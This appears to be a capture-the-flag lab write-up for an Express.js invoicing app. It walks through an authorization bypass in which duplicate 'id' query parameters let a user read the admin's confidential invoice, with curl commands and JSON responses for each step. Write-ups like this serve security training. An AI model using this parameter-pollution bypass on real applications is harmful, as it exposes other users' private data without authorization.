Lab 197 — BillForge — Authorization Bypass via HTTP Parameter Pollution
Lab 197 — BillForge — Authorization Bypass via HTTP Parameter Pollution
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: api_endpoint_discovery_via_js_source, authorization_desync_via_duplicate_params, http_parameter_pollution, idor_via_parameter_array_handling
Summary
Task: Express.js invoicing platform with role-based access control on invoice API endpoint using query parameter id. Solution: HTTP Parameter Pollution — sending duplicate id params (?id=own&id=admin) bypasses authorization (checks first value) while database returns admin's confidential invoice (uses last value).
Lab 197 — BillForge — Authorization Bypass via HTTP Parameter Pollution — HackAdvisor
Description
BillForge is an invoicing platform used by small businesses to manage clients, create invoices, and track payments. The application enforces role-based access so users can only view their own invoices. Your goal is to access a confidential invoice belonging to the platform administrator that contains sensitive internal data. Pay close attention to how the application handles request parameters — not all parsing is created equal.
English summary: An Express.js invoicing application behind nginx enforces ownership checks on invoice viewing. The goal is to access the admin's confidential invoice (id=1) despite authorization controls. Credentials provided: user@test.com / password123.
Analysis
Reconnaissance
After logging in with the provided credentials, the user is assigned user_id=2 (Alex Rivera, Rivera Digital LLC). The stack is Express.js behind nginx/1.25.5 (BillForge v2.4.1).
The dashboard at / displays the user's invoices with IDs: 7, 8, 11, 13, 14. Invoice detail pages load at /invoices/view?id=<id>.
API Endpoint Discovery
Inspecting /js/invoice-view.js reveals the client-side fetch call:
javascript read-only • copy allowedfetch('/api/invoices/view?id=' + encodeURIComponent(invoiceId), { credentials: 'same-origin' })
The API endpoint /api/invoices/view?id=<id> returns JSON with full invoice details and line items.
Authorization Testing
- Own invoice:
GET /api/invoices/view?id=13→ returns invoice data (user_id=2) ✓ - Admin invoice:
GET /api/invoices/view?id=1→{"error":"Access denied: you do not own this invoice"}✗
The server performs an ownership check comparing the authenticated user's ID against the invoice's user_id.
Vulnerability: HTTP Parameter Pollution (HPP)
In Express.js, when duplicate query parameters are sent (e.g., ?id=13&id=1), req.query.id becomes an array ["13", "1"]. The critical insight is that different layers of the application consume this array differently:
- Authorization middleware — checks
req.query.idas a string or accesses the first element ("13", the user's own invoice) → authorization passes - Database query layer — receives the array and uses the last element (
"1", the admin's invoice) → returns admin data
This desync between the authorization check and the data retrieval is the classic HPP vulnerability pattern.
Decoy Flag
The HTML source contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — a common HackAdvisor honeypot pattern to trap automated scanners.
Solution
Step 1: Login and enumerate invoices
bash read-only • copy allowed# Login to get session cookie curl -c cookies.txt -X POST 'https://TARGET/api/auth/login' \ -H 'Content-Type: application/json' \ -d '{"email":"user@test.com","password":"password123"}' # List own invoices from dashboard curl -b cookies.txt 'https://TARGET/api/invoices' | jq '.invoices[].id' # Returns: 7, 8, 11, 13, 14
Step 2: Confirm authorization blocks direct access
bash read-only • copy allowed# Attempt to access admin's invoice directly curl -b cookies.txt 'https://TARGET/api/invoices/view?id=1' # {"error":"Access denied: you do not own this invoice"}
Step 3: HTTP Parameter Pollution bypass
bash read-only • copy allowed# Send duplicate id parameters: auth checks first (13=ours), DB queries last (1=admin's) curl -b cookies.txt 'https://TARGET/api/invoices/view?id=13&id=1'
This returns the admin's confidential invoice:
json read-only • copy allowed{ "invoice": { "id": 1, "user_id": 1, "invoice_number": "INV-2025-CONF-001", "status": "paid", "notes": "CONFIDENTIAL - INTERNAL AUDIT", "internal_notes": "CONFIDENTIAL - Q4 2024 Internal Reconciliation\nSecurity audit clearance code: FLAG{REDACTED}\nDo not distribute outside finance team.", "client_name": "ForgeStack Internal" } }
Verification: Order matters
bash read-only • copy allowed# Reversed order: auth checks first (1=admin's) → blocked curl -b cookies.txt 'https://TARGET/api/invoices/view?id=1&id=13' # {"error":"Access denied: you do not own this invoice"}
This confirms the HPP behavior: authorization uses the first parameter, the database uses the last.